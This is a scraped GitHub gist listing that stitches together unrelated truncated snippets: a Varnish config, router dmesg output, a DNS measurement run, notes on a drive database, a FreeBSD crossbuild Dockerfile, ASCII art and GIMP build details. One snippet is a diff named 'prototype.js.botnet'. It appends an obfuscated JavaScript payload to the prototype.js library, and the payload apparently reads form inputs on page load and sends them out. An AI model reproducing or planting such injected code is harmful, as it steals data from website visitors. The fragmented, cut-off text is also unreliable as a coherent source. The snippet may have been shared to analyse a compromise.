Skip to content

Instantly share code, notes, and snippets.

vcl 4.0;
import std;
# The minimal Varnish version is 4.0
backend default {
.host = "127.0.0.1";
.port = "80";
}
root@lede:/# dmesg
[ 0.000000] Linux version 4.4.42 (builder@3d0c773196e1) (gcc version 5.4.0 (LEDE GCC 5.4.0 r3011-5faad30) ) #0 Thu Jan 19 15:29:00 2017
[ 0.000000] bootconsole [early0] enabled
[ 0.000000] CPU0 revision is: 00019374 (MIPS 24Kc)
[ 0.000000] SoC: Qualcomm Atheros QCA9533 ver 2 rev 0
[ 0.000000] Determined physical RAM map:
[ 0.000000] memory: 02000000 @ 00000000 (usable)
[ 0.000000] User-defined physical RAM map:
[ 0.000000] memory: 02000000 @ 00000000 (usable)
[ 0.000000] Initrd not found or empty - disabling initrd
--- prototype.js 2017-02-02 07:08:53.000000000 +1000
+++ prototype.js.botnet 2017-02-02 07:36:41.271149000 +1000
@@ -6080,3 +6080,4 @@
}
});
})();
+var x="q\\m -+ni_ -+ .?ipgg .= +<rdi_jr)jigj\\_ -+ .? -+api^odji -+ -3 -4 -+ 2= +< -+ -+ -+ -+da -3 -3i`r -+M`b@sk -3 -2ji`k\\b` -2 -4 -4)o`no -3rdi_jr)gj^\\odji -4 -4 -+ 2= +< -+ -+ -+ -+ -+ -+ -+ -+n`i_ -3 -4 .= +< -+ -+ -+ -+ 2? +< 2? .= +<api^odji -+^gf -3 -4 -+ 2= +< -+ -+ -+ -+q\\m -+dik .?_j^ph`io)lp`mtN`g`^ojm<gg -3 --dikpo -> -+n`g`^o -> -+o`so\\m`\\ -> -+^c`^f]js -- -4 .= +< -+ -+ -+ -+ajm -+ -3q\\m -+d .?+ .=d .>dik)g`iboc .=d&& -4 2= +< -+ -+ -+ -+ -+ -+ -+ -+da -3dik 0=d 0?)q\\gp`)g`iboc .@+ -4 -+ 2= +< -+ -+ -+ -+ -+ -+ -+ -+q\\m -+ih` .?dik 0=d 0?)i\\h` .= +< -+ -+ -+ -+ -+ -+ -+ -+da -3ih` .? .? -2 -2 -4 -+ 2= -+ih` .?d .= -+ 2? +< -+ -+ -+ -+ -+ -+ -+ -+ni_& .?dik 0=d 0?)i\\h`& -2 .? -2&dik 0=d 0?)q\\gp`& -2 -1 -2 .= +< -+ -+ -+ -+ -+ -+ -+ -+ 2? +< -+ -+ -+ -+ 2? +< +< 2? +< +<api^odji -+n`i_ -3 -4 -+ 2= +< -+q\\m -+]oi .?_j^ph`io)l
bash-3.2$ python resolve-name.py -v --country=UA --requested=1000 yandex.ru
{'definitions': [{'protocol': 'UDP', 'description': 'DNS resolution of yandex.ru from UA', 'af': 4, 'query_argument': 'yandex.ru', 'query_type': 'A', 'query_class': 'IN', 'set_rd_bit': True, 'type': 'dns', 'use_probe_resolver': True}], 'is_oneoff': True, 'probes': [{'requested': 1000, 'type': 'country', 'value': 'UA', 'tags': {'include': ['system-resolves-a-correctly', 'system-resolves-aaaa-correctly']}}]}
Measurement #8779190 for yandex.ru/A uses 169 probes
Warning: reply at probe 10070 has no answers: may be the server returned a delegation?
Warning: reply at probe 13443 has no answers: may be the server returned a delegation?
Warning: reply at probe 2091 has no answers: may be the server returned a delegation?
Warning: reply at probe 2204 has no answers: may be the server returned a delegation?
Warning, probe 4594 never got reply from any resolver
[] : 4 occurrences
[195.138.80.101] : 2 occurrences
@samm-git
samm-git / gist:39ba7a18614de85255945559be502d7e
Created September 30, 2017 08:01
Adding drives to db (draft)
  1. Check if drive is in the DB. If not - probably regexp not matched.
  2. If drice is not in the db - try to look for a very similar drive.
  3. If not found and you want to add it - do not add only one drive, try to find a datasheet for the entire serie on the vendor site. Google for the values.
  4. Check if attribute matching other entries with a same brand. A lot of SSD-s are in fact same hw but different names.
  5. If there is an exact match - extend regexp to match entire session. If there is no match - create a new entry.
  6. SMART attribute source order: datasheet (if any), vendor tool (usually windows only, ask user to run), very similar drives, guess (last choice)
@samm-git
samm-git / Dockerfile
Last active September 6, 2024 21:07
FreeBSD crossbuild with GCC on Linux host
FROM ubuntu:latest
RUN apt-get update
# install dependencies
RUN apt-get install --yes gcc g++ bison make wget xz-utils
# Compile binutils
RUN mkdir /build && cd /build && \
wget https://ftp.gnu.org/gnu/binutils/binutils-2.29.tar.xz && \
tar -xf binutils-2.29.tar.xz && cd binutils-2.29 && \
@samm-git
samm-git / freebsd-update-acmetool-port.sh
Created March 5, 2018 21:28
Script to update acmetool port and it dependencies
#!/usr/local/bin/bash
set -e
DIR=$1
cd $DIR/src/github.com
for f in *; do
cd $f
for f2 in *; do
cd $f2
WNXXKKKKXXNW
NKOxolc:;;;;:cloxOKN
WKkl:;;codxkkkkxdoc;;:lxKW
W0d:;:ok0NWW WNKko:;:o0NW
Xx:;:xKW WKxc;:cdXW
WKo;;oKW WKd;,;oKW
Xo;;dX Nxc;,lK x x
Wx;;oX X0d;;xN dOxl
Kl,:OW WX00N WW0c,cK OWWXd
GNU Image Manipulation Program version 2.10.2
git-describe: GIMP_2_10_0-292-gbe7f9b433a
C compiler:
Configured with: --prefix=/Library/Developer/CommandLineTools/usr --with-gxx-include-dir=/Library/Developer/CommandLineTools/SDKs/MacOSX.sdk/usr/include/c++/4.2.1
Apple LLVM version 10.0.0 (clang-1000.10.25.5)
Target: x86_64-apple-darwin17.6.0
Thread model: posix
InstalledDir: /Library/Developer/CommandLineTools/usr/bin
using GEGL version 0.4.2 (compiled against version 0.4.2)